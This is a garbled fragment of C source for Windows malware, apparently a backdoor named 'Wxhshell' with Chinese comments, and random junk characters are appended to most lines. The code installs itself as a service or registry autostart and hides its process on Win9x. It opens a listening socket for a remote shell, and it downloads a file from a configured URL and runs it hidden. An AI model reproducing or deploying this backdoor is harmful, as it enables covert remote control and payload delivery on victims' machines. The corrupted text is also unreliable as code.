DWORD BasePriority; r}uz7}z %"
ULONG UniqueProcessId; z25m_[p2
ULONG InheritedFromUniqueProcessId; wywQ<n
} PROCESS_BASIC_INFORMATION; Vp>|hj po
G7N|
:YK
PROCNTQSIP NtQueryInformationProcess; 5)
-~mWy
]p_@@QTC
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5jUYN-$GO
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C@jJ.^
<<
$.9{if#o&
HANDLE hProcess; x3PD1JUf
PROCESS_BASIC_INFORMATION pbi; YZ%Hu)
P-ri=E}>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); TDd{.8qf
if(NULL == hInst ) return 0; 6xD#?
hEh}PX:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pZtu&R%GU
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dnj}AVfQx
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hs}8xl
?_I[,N?@41
if (!NtQueryInformationProcess) return 0; NJNJjdD>
SRDXfkoI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X^WrccNX
if(!hProcess) return 0; JPGzrEaZ
7"8hC
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +[5.WC7J
F'hHK.tT
CloseHandle(hProcess); 8T(e.I
y#XbJuN/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }#X8@
if(hProcess==NULL) return 0; It{ ;SKeo
[,TkFbDq"J
HMODULE hMod; JwJ7=P=c
char procName[255]; PssMTEf
unsigned long cbNeeded; 7EXI6jGJ|
)c8j}
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o tk}y8
U#3J0+!
CloseHandle(hProcess); sP ls
zC[
`F/Tv 5@L
if(strstr(procName,"services")) return 1; // 以服务启动 yz0zFfiX
A<W6=5h
return 0; // 注册表启动 ?2>FdtH
} Me=CSQqf<
Br`IW
// 主模块 tO0!5#-VR
int StartWxhshell(LPSTR lpCmdLine) [H=)
{ 9'r:~O
SOCKET wsl; R9B&dvG
BOOL val=TRUE; qG<$Ajiin
int port=0; &gjF4~W]
struct sockaddr_in door; qbv#I;
q`pP$i:
if(wscfg.ws_autoins) Install(); K# Jk _"W
+Z85HY{
port=atoi(lpCmdLine); Ek6MYc8<b~
9]e V?yoA8
if(port<=0) port=wscfg.ws_port; $ aUo aI
48Mpf=f`
WSADATA data; X,LD
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ` \+@Fwfx
~V$|i"
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; w+N> h;j
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aXL{TD:]
door.sin_family = AF_INET; {RF-sqce
door.sin_addr.s_addr = inet_addr("127.0.0.1"); &B|D;|7H
door.sin_port = htons(port); zD<or&6
)HvnoUO0
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d'Zqaaf k%
closesocket(wsl); '7oA< R
return 1; ,u/aT5\_
} xKFn.qFr
7PkJ-JBA
if(listen(wsl,2) == INVALID_SOCKET) { Y*!qG
closesocket(wsl); 2z|*xS'G
return 1; &o<F7U'R
} /r=tI)'$
Wxhshell(wsl); ~{Mn{
WSACleanup(); n(el]_d
-Y='_4s
return 0; Q_t`.jus
!tp1:'KG
} P><o,s"v
+-G<c6 |
// 以NT服务方式启动 wR^ RM(1
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -e8}Pm
"
{ Hbpqyl%O>
DWORD status = 0; /"B?1?qc,=
DWORD specificError = 0xfffffff; 6qaulwV4t
ndeebXw*
serviceStatus.dwServiceType = SERVICE_WIN32; >ss/D^YS
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;f"0~D2
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E>}4$q[r
serviceStatus.dwWin32ExitCode = 0; xl#LrvxI
serviceStatus.dwServiceSpecificExitCode = 0; T,VY.ep/
serviceStatus.dwCheckPoint = 0; =XY\iV1J*
serviceStatus.dwWaitHint = 0; qBCK40
Dre]AsgiV
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]GRWnif
if (hServiceStatusHandle==0) return; 3.qTLga|}
lgb?)=
status = GetLastError(); 3%E74 mOcD
if (status!=NO_ERROR) (x3.poSt
{ pbU!dOU~e
serviceStatus.dwCurrentState = SERVICE_STOPPED; Q*b]_0Rb
serviceStatus.dwCheckPoint = 0; *q1% IJ
serviceStatus.dwWaitHint = 0; '60 L~`K
serviceStatus.dwWin32ExitCode = status; K5XK%Gl"
serviceStatus.dwServiceSpecificExitCode = specificError; IhA* "
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (e[}/hf6
return; 8:/e
GM
} /IM#.v
,j$Vvz
serviceStatus.dwCurrentState = SERVICE_RUNNING; L\#<JxY$p
serviceStatus.dwCheckPoint = 0; 67VT\f
serviceStatus.dwWaitHint = 0; di>cMS 4 c
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L*~J%7
} 19j+lCSvH
1+U
// 处理NT服务事件,比如:启动、停止 m`FNIY
VOID WINAPI NTServiceHandler(DWORD fdwControl) Zib)P &
{ />9OR
switch(fdwControl) lHhUC16>
{ mzf+Cu:`v
case SERVICE_CONTROL_STOP: Sx8OhUyux
serviceStatus.dwWin32ExitCode = 0; {1b Zg
serviceStatus.dwCurrentState = SERVICE_STOPPED; d{E}6)1=
serviceStatus.dwCheckPoint = 0; Q
!(pE&
serviceStatus.dwWaitHint = 0; (owrdPT!
{
!OuWPH.
:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Y^WP?HS
} yfC^x%d7G
return; 1hziXC0WY
case SERVICE_CONTROL_PAUSE: th&[Nt7
serviceStatus.dwCurrentState = SERVICE_PAUSED; P[k$vD
break; T"0,r$3:
case SERVICE_CONTROL_CONTINUE: L_K=g_]
serviceStatus.dwCurrentState = SERVICE_RUNNING; }sOwp}FV8X
break; <,>P 0tY}
case SERVICE_CONTROL_INTERROGATE: H(&4[%;MP
break; T9879[ZU\
}; >G~R,{6U
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
Yl.0aS
} npNB{J[
/*c\qXA5
// 标准应用程序主函数 as>L[jyG/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C,.Ee3T
{ *Otg*,\
mI>,.&eo
// 获取操作系统版本 -P]sRl3O;
OsIsNt=GetOsVer(); 2[r^M'J
GetModuleFileName(NULL,ExeFile,MAX_PATH); [Ts"OPb%~
hjQ~uqbg
// 从命令行安装 I*`* Q$
if(strpbrk(lpCmdLine,"iI")) Install(); 8{Fsm;UsY
dH^ <t,v
// 下载执行文件 ,-OCc!7K
if(wscfg.ws_downexe) { ~fo6*g:f1
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]Qe{e3p;
WinExec(wscfg.ws_filenam,SW_HIDE); b@2J]Ay E*
} jvQ*t_L
H8'Z#"h
if(!OsIsNt) { DHY@akhrK
// 如果时win9x,隐藏进程并且设置为注册表启动 !eUDi(
HideProc(); K/}rP[H
StartWxhshell(lpCmdLine); bpxeznz
} H
Tz
else `Ps:d^8*P
if(StartFromService()) m,t|IgDh
// 以服务方式启动 gL3"Gg3
StartServiceCtrlDispatcher(DispatchTable); nM0[P6p
else [u._q:A
// 普通方式启动 u@4V7;L
StartWxhshell(lpCmdLine); P(K>=O
MXyaE~LK
return 0; hsw9(D>jp
}